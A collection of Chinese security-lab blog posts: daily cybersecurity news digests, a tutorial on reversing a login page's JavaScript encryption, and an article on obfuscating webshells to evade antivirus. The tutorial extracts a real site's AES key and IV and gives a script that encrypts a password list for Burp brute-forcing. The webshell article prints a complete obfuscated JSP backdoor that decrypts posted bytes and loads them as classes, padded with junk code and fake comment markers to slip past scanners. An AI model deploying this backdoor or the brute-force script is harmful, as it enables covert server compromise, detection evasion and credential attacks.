网络安全日报 2023年12月01日
1、Arcserve修复其产品中的安全漏洞 https://www.helpnetsecurity.com/2023/11/29/arcserve-udp-vulnerabilities-pocs Arcserve已修复其Unified Data Protection (UDP)中的安全漏洞(CVE-2023-41998、CVE-2023-41999、CVE-2023-42000),这些漏洞的PoCs于周一由研究人员公开披露。CVE-2023-41998是UDP中com.ca.arcflash.rps.webservice.RPSService4CPMImpl接口的漏洞,可能允许未经身份验证的远程攻击者通过接口内的downloadAn 2、研究人员发现新型远控木马Saw RAT https://cyble.com/blog/uncovering-the-new-java-based-saw-rats-infiltration-strategy-via-lnk-files/ 11月22日,研究人员在VirusTotal上发现了一个ZIP压缩文件。经分析发现,ZIP文件包含一个带有Adobe图标的快捷方式文件(.lnk),以执行一种新型基于Java的远控木马,该远控木马隐藏在Java Runtime Environment(JRE)目录中。由于该远控木马使用了名为“saw.chain"的包,研究人员将其命名为Saw RAT。该远控木马与C2服务器建立连接,从而使攻击者向 3、研究人员发现DJvu勒索软件的新变种Xaro https://www.cybereason.com/blog/threat-alert-djvu-variant-delivered-by-loader-masquerading-as-freeware DJvu勒索软件是STOP勒索软件的变种,研究人员近期发现DJvu勒索软件的新变种,并将其命名为Xaro。攻击者利用伪装成提供正常软件的钓鱼网站进行攻击活动,并诱导用户下载执行伪装成正常应用的恶意程序PrivateLoader。PrivateLoader执行后与C2服务器连接,以获取其他的窃密木马,并释放Xaro勒索软件。Xaro会加密感染主机上的文件,并释放勒索信,要求受害者与攻击者联系 4、Apple 修补了iOS 16.7.1版本之前被利用的严重 WebKit 漏洞 苹果公司周四为其旗舰 macOS 和 iOS 平台推出了安全更新,以修复旧系统移动设备上已经被利用的两个严重漏洞。这些在 WebKit 浏览引擎中标记的漏洞可被用来劫持敏感内容或发起任意代码执行攻击。该公司推出了iOS 17.1.2 和 iPadOS 17.1.2,修复了 WebKit 缺陷,并警告称,可以通过恶意网页内容发起漏洞利用。该公司表示:“苹果公司已获悉一份报告,称该问题可能已被针对 iOS 16.7.1 之前的 iOS 版本所利用。” 5、Zyxel 修补了防火墙、NAS设备中的至少 15 个安全漏洞 https://www.securityweek.com/major-security-flaws-in-zyxel-firewalls-access-points-nas-devices/ 中国台湾网络设备供应商 Zyxel 已针对困扰其防火墙、接入点和网络访问存储 (NAS) 设备用户的重大漏洞发布了安全警告。 6、Zoom 中的一个严重漏洞允许攻击者接管会议并窃取敏感数据 https://securityaffairs.com/155011/hacking/critical-zoom-room-bug.html AppOms 的研究人员在HackerOne 实时黑客活动 H1-4420中发现了 Zoom Room 中的一个漏洞。专家们于 2023 年 6 月发现了该漏洞,他们警告说,攻击者可以接管 Zoom Room 的服务帐户并获得对受害者组织租户的访问权限。攻击者还可以无形地访问团队聊天、白板和其他 Zoom 应用程序中的机密信息。该公司及时解决了该问题,并澄清该漏洞对生产租户没有影响。 7、DOCKER HUB 上的应用程序镜像中泄露了数千个密钥或凭据 https://securityaffairs.com/154957/security/secrets-exposed-on-docker-hub.html Docker Hub 存储至少有 5,493 个包含敏感信息的容器镜像,可被视为暴露敏感信息。这占 Cybernews 研究团队分析的 10,178 个 Docker Hub 镜像的 54%。分析后的泄漏容器被广泛使用的平台上的其他用户下载了超过 1320 亿次。 8、Google 推出 RETVec - 用于针对垃圾邮件和恶意电子邮件的新防御措施 https://thehackernews.com/2023/11/google-unveils-retvec-gmails-new.html 谷歌推出了一款名为RETVec(Resilient and Efficient Text Vectorizer 的缩写)的新型多语言文本矢量化器,可帮助检测Gmail 中的潜在有害内容,例如垃圾邮件和恶意电子邮件。 9、GoTitan 僵尸网络利用了最近的 Apache ActiveMQ 漏洞 https://thehackernews.com/2023/11/gotitan-botnet-spotted-exploiting.html 最近披露的影响 Apache ActiveMQ 的重大安全漏洞正被威胁者积极利用,以传播一种名为 GoTitan 的基于 Go 的新型僵尸网络,以及一种名为 PrCtrl Rat 的 .NET 程序,该程序能够远程控制受感染的主机。 10、美国政府秘密协调思科支持乌克兰加强电网网络安全防护 https://www.secrss.com/articles/61166 美媒称,美国政府曾秘密协调思科公司研发新版交换机,并提供给乌克兰国有电力运营商 Ukrenergo,以加强乌克兰电网的网络防护能力。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
对某登录站点的JS前端逆向思路
前言 js逆向一直没有相关了解,虽然目前渗透遇见的不是很多,大多数遇见的要么不加密,要么无法实现其加密流程,不过最近看到了一个较为简单的站点正好能够逆向出来,就做了简单记录。本文旨在介绍js逆向的一些基础思路,希望能对初学js前端逆向的师傅有所帮助。 JS定位 在我们寻找JS源代码时,如果直接翻看全部的js文件以来寻找自己想要的一部分,无疑是复杂繁琐的,且工作量巨大,有点类似大海捞针,因此这里我们需要借助一些巧妙的办法来快速定位某标签的js语句,具体方法如下。 元素审查定位 当我们不确定某处的js文件位置时,可以使用F12,点击元素审查,然后点击登录处,观察事件监听器 此时可以观察到login.js文件出现,接下来就可以去对应文件下继续深入。 发现check函数,寻找check函数 此时发现加密是secret函数,再继续跟secert函数就可以了解其整体流程。 全局搜索法 像我们常见的登录框,他们要提交的加密参数一般名为password,或者加密为Crypto加密,因此我们可以全局搜索此类关键字,进而寻找我们需要找的关键加密js语句,进而实现js逆向。 具体操作也很简单,这里简单举个例子。 首先打开F12,随便点击一个元素,而后ctrl+shift+f,接下来全局搜索关键词即可 此时含关键词的语句映入眼帘,像一些css文件中的直接略过即可,而后即可找到真正生成密码的地方 接下来便可以深入secret,了解加密方法。 Onclick定位 像一些登录点是存在着onclick属性的,如若该属性值是js函数,那么就极有可能是我们要寻找的js加密函数,而后进行寻找相关函数即可。 注:图参考自cony1大师傅。 以cony1大师傅的图为例进行简单讲解 这里发现ssologin函数,接下来寻找该函数 此时即可发现相关js语句。 实战 某登录站点js逆向 找到一个登录站点,随意输入 发现用户名和密码均被加密,接下来ctrl+shift+f,全局搜索password字段,寻找加密点 第一个这里明显是输入框的password,且是注释,肯定不是这里,接着寻找,后来到 整体代码如下        function check() {            //这里将用户名,密码加密            var code = 'letu@levle';            var yname = $("#yname").val();            if (yname == '') {                alert("用户名不能为空");                return false;           } else {                var newName = secret(yname, code, false);                $("#xname").val(newName);           }            var ypassword = $("#ypassword").val();            if (ypassword == '') {                alert("密码不能为空");                return false;           } else {                var newPassword = secret(ypassword, code, false);                $("#xpassword").val(newPassword);           }       } 可以看出js代码逻辑并不难,首先提取出ypassword标签下的内容,而后验证其是否为空,若不为空,则对其进行secret函数处理,很明显,这个secret函数就是加密函数,所以我们接下来跟进此加密函数 这里直接给出了iv和key,所以接下来打断点调试就行了,而后打上断点 接下来开始随便输入密码提交,而后来到调试界面 选中code.substring(16)得到keyf3991777154f4bd0 选中code.substring(0,16)得到偏移量ace43e65106a77f6 下方也给出了Padding和mode分别是Pkcs7和CBC,所以接下来直接解密即可,在网络中我们可以看到提交后加密的账密 拿去随便找个AES解密网站 与所输入的进行比对 成功得到正确结果 接下来编写脚本即可,直接将字典的内容全部进行加密,而后放入burp进行爆破 import base64 from Crypto.Cipher import AES from Crypto.Hash import MD5 from Crypto.Util.Padding import pad #填入AES的key和iv key = 'f3991777154f4bd0' iv = 'ace43e65106a77f6' def AES_Encrypt(data):    global key    global iv    cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))    paddingdata = pad(data.encode('utf-8'),AES.block_size)    encrypted = cipher.encrypt(paddingdata)    #print(base64.b64encode(encrypted).decode())    return base64.b64encode(encrypted).decode() password = [] with open('password.txt','r',encoding='utf-8') as f:    for i in f:        password.append(i.strip()) with open('password_aes.txt','w',encoding='utf-8') as w:    for i in password:        data = AES_Encrypt(i)+'\n'        w.write(data) 数据长度明显与错误时不一致,不过这里也未成功进入后台,有二次验证,Google验证码无从下手,故点到为止。 某道js逆向 接下来进行抓包 这里我们首先注意一下每次不同点在哪,以此为入口点来进行下去,因此我们多次刷新界面抓包,同样的参数观察包的参数哪个值是不同的 从上图可以看出sign和mysticTime是变化的,因此接下来针对这两个变量进行深入,如果我们能够控制这两个变量,那么我们就可以实现直接脚本请求得到翻译对应的语句。 所以接下来首先从sign开始,我们首先进行F12,而后输入ctrl+shift+f全局搜索关键词 这里可以发现出现了js中含有sign关键字的,但像这个inpage.js他明显不是我们要找的js语句,因此继续往下寻找(输入sign:更容易找到对应函数)。这里我们找到如下语句 相关代码如下 const u = "fanyideskweb"             , d = "webfanyi"             , m = "client,mysticTime,product"             , p = "1.0.0"             , g = "web"             , b = "fanyi.web"             , A = 1             , h = 1             , f = 1             , v = "wifi"             , O = 0;            function y(e) {                return c.a.createHash("md5").update(e).digest()           }            function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           }            function k(e, t) {                return j(`client=${u}&mysticTime=${e}&product=${d}&key=${t}`)           }            function E(e, t) {                const o = (new Date).getTime();                return {                    sign: k(o, e),                    client: u,                    product: d,                    appVersion: p,                    vendor: g,                    pointParam: m,                    mysticTime: o,                    keyfrom: b,                    mid: A,                    screen: h,                    model: f,                    network: v,                    abtest: O,                    yduuid: t || "abcdefg"               }           } 这里可以看到sign是由函数k构成的,同时注意到这里也给出了k的参数,k是由client=fanyideskweb&mysticTime=${e}&product=webfanyi&key=${t}所组成的,此时再看函数E,o是时间戳,e这里未知,这时候该怎么办呢,先看看他是不是固定值,当自己不确定在哪下断点调试时,就在附近的几个可疑点都打下断点,观察e的值即可 经观察,这里的e值是固定的,即fsdsogkndfokasodnaso,此时k(o,e)中的参数我们都了解了,但我们注意到k函数中是有j在外包裹的,因此我们需要对j函数进行相关了解 function j(e) {                return c.a.createHash("md5").update(e.toString()).digest("hex")           } 明显的md5加密,因此到这里也就都清楚了。 当我们进行请求时,首先获取当前的时间戳,此作为参数之一,同时与client等参数值组合,进行md5加密,就组成了sign的值。对于mysticTime这个参数,我们从k函数也了解到它其实就是时间戳,因此两个变化的参数到目前就都了解其生成过程了。 接下来尝试写python脚本 import hashlib import time import requests requests.packages.urllib3.disable_warnings() headers = {"Content-Length": "312", "Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"", "Accept": "application/json, text/plain, */*", "Content-Type": "application/x-www-form-urlencoded", "Sec-Ch-Ua-Mobile":"?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Sec-Ch-Ua-Platform": "\"Windows\"", "Origin": "https://fanyi.youdao.com", "Sec-Fetch-Site": "same-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://fanyi.youdao.com/", "Accept-Encoding": "gzip, deflate", } Cookie = { "OUTFOX_SEARCH_USER_ID":"239978291@10.130.108.41", "OUTFOX_SEARCH_USER_ID_NCOO":"520521807.43848985" } url = "" word = input("请输入翻译内容:") localtime = str(int(time.time() * 1000)) canshu = "client=fanyideskweb&mysticTime={}&product=webfanyi&key=fsdsogkndfokasodnaso".format(localtime) sign = hashlib.md5(canshu.encode(encoding='utf8')).hexdigest() data = {    "i": f"{word}",    "from": "auto",    "to": "",    "dictResult": "true",    "keyid": "webfanyi",    "sign": sign,    "client": "fanyideskweb",    "product": "webfanyi",    "appVersion": "1.0.0",    "vendor": "web",    "pointParam": "client,mysticTime,product",    "mysticTime": localtime,    "keyfrom": "fanyi.web" } res = requests.post(url=url,headers=headers,cookies=Cookie,data=data,verify=False) print(res.text) 此时便得到了加密数据,解密同理,不再阐述。
网络安全日报 2023年11月30日
1、Okta扩大了数据泄露的范围:所有客户支持用户都受到影响 https://www.securityweek.com/okta-broadens-scope-of-data-breach-all-customer-support-users-affected/ Okta 表示,闯入其支持案例管理系统的黑客窃取了所有客户支持系统用户的姓名和电子邮件地址,这一承认大大扩大了 10 月份事件的影响。Okta 最初声称只有 134 名客户(不到其客户群的 1%)受到影响,但在周三发布的最新更新中,Okta 安全主管 David Bradbury 表示,威胁行为者劫持了所有员工身份云 (WIC) 和客户身份解决方案的数据(CIS) 客户,特定政府级环境中的客户 2、Google 修补了 2023 年第七个 Chrome 零日漏洞 https://www.securityweek.com/google-patches-seventh-chrome-zero-day-of-2023/ 谷歌周二宣布了一项安全更新,解决了 Chrome 浏览器中的零日漏洞。这个高严重性问题被追踪为 CVE-2023-6345。该漏洞是由 Google 威胁分析小组 (TAG) 的 Benoît Sevens 和 Clément Lecigne 报告的,这表明该漏洞可能被间谍软件供应商利用。 3、DP World集团证实其数据遭到泄露 https://www.bleepingcomputer.com/news/security/dp-world-confirms-data-stolen-in-cyberattack-no-ransomware-used/ 2023年11月10日,DP World Australia遭受网络攻击。该集团表示,港口于11月13日恢复工作,并于11月17日恢复正常状态。超过三万个集装箱的积压在2023年11月20日完全清除。DP World集团已确认此次事件仅影响其澳大利亚的业务。同时,经过调查后,没有发现任何勒索软件的部署迹象。但是,DP World的调查确定其系统中的数据已被窃取。调查表明客 4、北德克萨斯州市政水务区遭受勒索软件攻击 https://securityaffairs.com/154881/cyber-crime/daixin-team-north-texas-municipal-water-district.html Daixin Team勒索团伙声称攻击了北德克萨斯州市政水务区(NTMWD),将NTMWD添加到其Tor泄漏站点的受害者列表上中,并声称从该机构窃取了大量数据并威胁要发布它。该团伙声称共窃取了33844个文件,包括董事会会议纪要、内部项目文件、人员详细信息、审计报告等数据,并在其网站中发布了窃取文件的列表文件。目前,NTMWD称他们只是电话服务中断,未透露更多信息。 5、研究人员发现蓝牙的底层安全漏洞影响蓝牙4.2到5.4版本 https://www.bleepingcomputer.com/news/security/new-bluffs-attack-lets-attackers-hijack-bluetooth-connections/ 研究人员开发了针对蓝牙的六种新攻击方式,并统称为“BLUFFS”,可以破解蓝牙会话的机密性,使设备容易受到冒充和中间人攻击(MitM)。研究人员表示,BLUFFS利用了蓝牙标准中两个先前未知的漏洞,这些漏洞与如何派生用于交换数据的会话密钥有关。这些漏洞不特定于硬件或软件配置,而是在体系结构层面上发生,这意味着它们影响了蓝牙的基本层次。该漏洞被标记为CVE-2023-24023 6、Qilin勒索软件声称攻击了汽车内饰巨头延锋 https://www.bleepingcomputer.com/news/security/qilin-ransomware-claims-attack-on-automotive-giant-yanfeng Qilin勒索软件组织声称对全球最大的汽车零部件供应商之一延锋汽车内饰(延锋)的网络攻击负责。延锋是一家专注于内饰零部件的中国汽车零部件开发商和制造商,在全球 240 个地点拥有超过 57,000 名员工。该公司向通用汽车、大众集团、福特、Stellantis(菲亚特、克莱斯勒、吉普、道奇)、宝马、戴姆勒、丰田、本田、日产和上汽集团销售内饰零部件。该公司构成了这些汽车制造商供应链的重 7、日本宇宙航空研究开发机构遭受网络攻击 https://www.theregister.com/2023/11/29/jaxa_cyberattack/ JAXA 在外部组织进行内部审计后才得知此次攻击。目前正在对这起黑客攻击事件进行详细调查,但尚未透露是谁策划了这起事件。 8、N. Korean Hackers“混合”macOS 恶意软件策略以逃避检测 https://thehackernews.com/2023/11/n-korean-hackers-mixing-and-matching.html 据观察,macOS 恶意软件(如 RustBucket 和 KANDYKORN)背后的朝鲜威胁行为者“混合和匹配”了两个不同攻击链的不同元素,利用 RustBucket 投放器来提供 KANDYKORN。 9、黑客通过暴露的 Unitronics PLC 入侵美国供水设施 https://www.bleepingcomputer.com/news/security/hackers-breach-us-water-facility-via-exposed-unitronics-plcs/ CISA(网络安全和基础设施安全局)警告称,威胁行为者通过侵入在线暴露的 Unitronics 可编程逻辑控制器 (PLC) 破坏了美国的供水设施。 10、美国查获朝鲜 Lazarus 黑客使用的 Sinbad 加密货币混合服务 https://www.bleepingcomputer.com/news/security/us-seizes-sinbad-crypto-mixer-used-by-north-korean-lazarus-hackers/ 美国财政部外国资产控制办公室 (OFAC) 对 Sinbad.io (Sinbad) 进行了制裁,因为该网站涉嫌被朝鲜黑客利用,实施大规模加密货币盗窃,导致数亿美元的损失。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年11月29日
1、游戏开发商Gellyberry Studios遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/ransomware-attack-on-indie-game-maker-wiped-all-player-accounts/ Ethyrial: Echoes of Yore是由独立游戏发行商Gellyberry Studios开发的一款大型多人在线角色扮演游戏(MMORPG),该游戏的主服务器遭受勒索软件攻击,攻击者加密了所有数据,包括本地备份驱动器,并要求支付赎金以获取解密密钥。该游戏开发商不相信支付赎金能够获得解密密钥,因此他们决定手动恢复所有受影响的系统。此次事件影响了该游戏的17000 2、医疗公司Henry Schein再次遭受BlackCat勒索团伙攻击 https://www.bleepingcomputer.com/news/security/healthcare-giant-henry-schein-hit-twice-by-blackcat-ransomware/ 美国医疗公司Henry Schein本月第二次报告遭到BlackCat/ALPHV勒索软件团伙的网络攻击。11月22日,该公司表示,由BlackCat勒索团伙进行的另一次攻击导致其一些应用程序和电子商务平台再次关闭。今天,公司透露已经恢复了其美国电子商务平台,并预计其加拿大和欧洲平台也将很快恢复在线。Henry Schein已确定事件发生的原因,并且先前披露的BlackCa 3、斯洛文尼亚的电力公司HSE遭受勒索软件攻击 https://www.bleepingcomputer.com/news/security/slovenias-largest-power-provider-hse-hit-by-ransomware-attack/ 斯洛文尼亚电力公司Holding Slovenske Elektrarne(HSE)遭受了一次勒索软件攻击,导致其系统被攻击且文件被加密。HSE是斯洛文尼亚最大的发电公司,约占国内生产的60%,被认为是该国的关键基础设施。该公司于11月24日控制住此次事件,到目前为止,该公司尚未收到勒索赎金要求。此事件并未影响电力生产,且未导致运营中断或重大经济损失。有消息称Rhysida勒 4、Ray AI 框架中发现严重漏洞 https://www.securityweek.com/critical-vulnerability-found-in-ray-ai-framework/ 网络安全公司 Bishop Fox 警告称,人工智能开源计算框架 Ray 中的一个严重漏洞可能允许对所有节点进行未经授权的访问。该错误的编号为 CVE-2023-48023,其存在是因为 Ray 未在其至少两个组件(即仪表板和客户端)上正确强制执行身份验证。 5、严重的 ownCloud 漏洞开始被利用 https://www.securityweek.com/exploitation-of-critical-owncloud-vulnerability-begins/ 开源文件共享和协作软件 ownCloud 公开披露后仅几天,威胁行为者就开始利用该漏洞。该漏洞编号为CVE-2023-49103,影响 Graphapi 应用程序,允许攻击者检索敏感环境变量,包括凭据、许可证密钥和其他系统信息。 6、一项国际执法行动捣毁了一个在乌克兰运作的勒索软件组织 https://securityaffairs.com/154897/cyber-crime/ukraine-based-ransomware-group-dismantled.html 一项国际执法行动捣毁了一个在乌克兰运作的勒索软件组织的核心。由欧洲刑警组织和欧洲司法组织领导的联合执法行动,在七个国家警方的支持下,在乌克兰逮捕了勒索软件组织的核心成员。警方在乌克兰逮捕了这名主犯以及其他四名嫌疑人。共搜查30处,查获数码设备工具百余件。该组织使用多个勒索软件系列针对 71 个国家/地区的组织,包括LockerGoga、MegaCortex、HIVE和Dharma。该勒索软件组织针对的是大型 7、Google Workspace中的设计缺陷可让攻击者获得未经授权的访问 https://thehackernews.com/2023/11/design-flaw-in-google-workspace-could.html 网络安全研究人员详细介绍了 Google Workspace 的全域委托 ( DWD ) 功能中的“严重设计缺陷”,威胁行为者可能会利用该缺陷来促进权限升级,并在没有超级管理员权限的情况下获得对 Workspace API 的未经授权的访问。 8、孟加拉国国家电信监控系统泄露公民数据后,遭数据擦除勒索 https://www.secrss.com/articles/61092 孟加拉国国家电信监测中心(NTMC)是一家情报机构,参与收集人们的手机和互联网活动。几个月来,该中心通过一个与其系统相关联的不安全数据库公开了大量个人信息。就在本月上旬,匿名黑客袭击了暴露的数据库,删除了系统中的各类详细信息,并声称已窃取这些信息。 9、龙芯 3A6000 国产桌面通用处理器发布 https://www.ithome.com/0/735/469.htm 11 月 28 日的 2023 龙芯产品发布暨用户大会上,龙芯 3A6000 国产桌面通用处理器正式发布,拥有四个物理核 / 八个逻辑核,主频 2.0-2.5GHz。片内集成安全可信模块,支持安全启动和国密算法(SM2、SM3、SM4)等。 10、谷歌云盘发生未知故障,部分用户丢失近半年数据 https://www.secrss.com/articles/61163 从上周开始,谷歌支持论坛上陆续有大量谷歌云盘(Google Drive)用户报告丢失了最近半年的数据,云盘中的数据和文件夹结构被回滚到了今年5月份。根据投诉用户的反馈,帐户的活动日志可以确认用户自己没有意外删除数据,是谷歌云盘自身系统出现问题导致用户本地设备和谷歌云之间的数据在某些时候无法同步。一些丢失数据的用户的设备中还留有丢失数据的脱机缓存,但目前包括谷歌云的工程师在内,还没人想出恢复设备缓存数据的方法。一位谷歌技术支持工程师在给用户的回复中确认,在一次产品更新后,确实发生了用户数据丢失问题,谷歌已经在调查该事件 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Webshell混淆免杀的一些思路
1、简介 为了避免被杀软检测到,黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路,帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段,使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。 2、混淆字符 混淆字符是最基本的混淆webshell手段之一,混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jspwebshell示例。因为java是默认支持unicode编码的。 Java代码示例: 然后可以上传vt查杀可以看到还是会被挺多杀软识别的。 现在可以通过给个提到的编码进行替换原有的关键字,再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已,只是证明能够通过一些字符编码使得特征不那么明显,实战中并不能完全靠字符编码绕过杀软,字符编码主要在实际混淆webshell中只能够起到一个辅助作用。 3、利用注释 利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过,这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。 Java示例: 然后这边是给原本的webshell加上注释之后,丢到vt上的查杀效果。 值得注意的是,现在大部分杀软会匹配程序注释规则,但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用Strings = "/*"; code...; String ss = "*/";code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */中间的值认为是注释内容从而匹配恶意代码失败。 4、改变代码特征 改变代码特征是指修改代码原本的写法但是不改变其功能,因为大部分杀软静态查杀webshell会有一个语句的特征,比如单纯的php一句话木马eval($_POST['x']);很容易就会被杀软查杀,但是服务器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性,可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码,用三元表达式代替ifelse,用一些代替写法比如java中的int类型1可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加 部分代码截图: 可以看到免杀效果其实还不是很理想,因为实际过程中的免杀并不是单一的方法就能够完成的,往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。 全部代码: <%@ page import="java.io.InputStream" %> <%@ page import="javax.crypto.spec.SecretKeySpec" %> <%@ page import="javax.crypto.Cipher" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.io.OutputStream" %> <%@ page import="java.io.IOException" %> <%! String xc = "\u0033\u0063\u0036\u0065\u0030"/*\u3333*/ +/*\u3333*/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061";    class Register extends ClassLoader {        public Register(ClassLoader username) {            super(username);       }        public Class Query/*\u3333*/(byte[] password) {            int len = password.length;            String s1 = "/*";            Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len);            String s2 = "*/";            return aClass;       }   }    public byte[] x(byte[] s, boolean m) {        // 这行代码换了个顺序        byte[] bs = xc.getBytes();        try {            String sss = "/*";            String decode = "\u0041\u0045\u0053";            Cipher c = Cipher.getInstance(decode);            String ccc = "*/";            // if代替了原本的三元表达式            int flag = 0xAFFFF;            if (m) {                flag = 1;           } else {                flag = 2;           }            String acaw = "/*";            c.init(flag, new SecretKeySpec(bs, decode));            String ANANAWU = "*/";            String string1 = "/*";            byte[] bytes = c.doFinal(s);            String string12 = "*/";            return bytes;       } catch (Exception e) {            return null;       }   }    public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {        // 添加注释        /*o.equls(null)*/        int x = 10;        int y = 20;        // 这里有一些毫无意义的操作        x = (x + y) * 2;        y = x - y;        String meaninglessString = "Hello, this is a meaningless string.";        if (x > y) {            x = x * 2;       } else {            y = y * 2;       }        String sss = "/*";        o./*o.equls(null)*/equals/*o.equls(null)*/(bos);        String ccc = "*/";        o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);        String ac = "//";        o.toString/*o.equls(null)*/();   }    public void run2(byte[] data_bytes, HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" + "\u006c\u006f\u0061\u0064";        Register REG = new Register(this.getClass().getClassLoader());        Class cs = REG.Query(data_bytes);        session.setAttribute(py, cs);   }    public Object os_return(HttpSession session) {        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        return  session.getAttribute(py);   }    public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {        byte[] x = x(bos.toByteArray(), true);        os.write(x);   }    public void setAttribute(HttpServletRequest request, String key, Object value) {        request.setAttribute(key, value);   }    public ByteArrayOutputStream getBos() {        ByteArrayOutputStream arrOut = null;        arrOut = new ByteArrayOutputStream();        return arrOut;   } %><%    try {        String header = request.getHeader/*o.equls(null)*/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068");        String py = "\u0070\u0061\u0079" +/*as*/"" +/*sa*/"\u006c\u006f\u0061\u0064";        int length = Integer.valueOf/*o.equls(null)*/(header);        byte[] data_bytes = new byte[/*o.equls(null)*/length];        InputStream is = request.getInputStream();        // for循环替代了while循环        for (int _num = 0; _num < data_bytes./*o.equls(null)*/length; _num += is.read(data_bytes, _num, data_bytes.length));        // 原本的false变成了 !true        data_bytes = x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);        OutputStream os = response.getOutputStream();        ByteArrayOutputStream bos = getBos();        boolean flag = session.getAttribute(py) == null;        if (flag) {            run2(data_bytes, session);       } else {            setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/*aaaa*/""/*SSS*/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes);            String s = "/*";Class cs = (Class) os_return(session);String c = "*/";            Object f = (cs).newInstance();            run(f, bos, pageContext);            /* 垃圾代码 */            int a = 10;            int b = 20;            for (int i = 0; i < 5; i++) {                a += b;                b -= a;           }            String meaninglessString = "This is a meaningless string.";            int[] numbers = {1, 2, 3, 4, 5};            for (int num : numbers) {                if (num % 2 == 0) {                    // 不执行任何操作               } else {                    // 不执行任何操作               }           }            /* 垃圾代码 */            pull(bos, os);       }   } catch (Exception e) {   } %> 免杀效果: Ps:以上代码仅仅提供一个思路,实际过程中并不用如此多代码量,仅需要bypass掉目标服务器上的杀软即可。 5、利用代码加密工具 上面介绍了一些java代码的混淆,php的混淆通常来说更加简单,因为php这门语言特性,使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。 比如随便找一些php在线混淆哥斯拉的webshell 链接也是没有问题的 虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。 经过3次混淆的phpwebshell,反正我是认不出来了。 类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过,只需要搜索一下混淆器即可。 6、总结 文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征,不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的,基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。
网络安全日报 2023年11月28日
1、研究人员发现新型窃密木马Rude Stealer https://cyble.com/blog/new-java-based-rude-stealer-abuses-directx-diagnostic-tool/ 研究人员最近发现了一种新型窃密木马Rude Stealer,该窃密木马使用Java进行编写。Rude Stealer从各种浏览器中提取数据,获取Discord令牌、Steam ID以及有关安装游戏的信息,同时具备获取屏幕截图的功能。此外,它利用DirectX诊断工具(DxDiag)提取系统详细信息,包括主机名、操作系统版本、BIOS信息等。 2、IT公司Appscook因系统配置错误泄露数据信息 https://securityaffairs.com/154743/security/app-used-by-hundreds-of-schools-leaking-childrens-data.html 研究人员发现IT公司Appscook的系统配置错误,导致其开发的应用程序泄露了大量敏感数据。DigitalOcean存储桶包含一百万个敏感文件,未经身份验证的任何人都可以进行访问,泄露的数据包括学生的姓名、父母的姓名、小学、初中和高中的学生照片、儿童所在学校的名称、出生证明、费用收据、学生成绩单/考试结果、家庭地址、电话号码。 3、研究人员在公共存储库中发现多家公司的敏感信息 https://blog.aquasec.com/the-ticking-supply-chain-attack-bomb-of-exposed-kubernetes-secrets 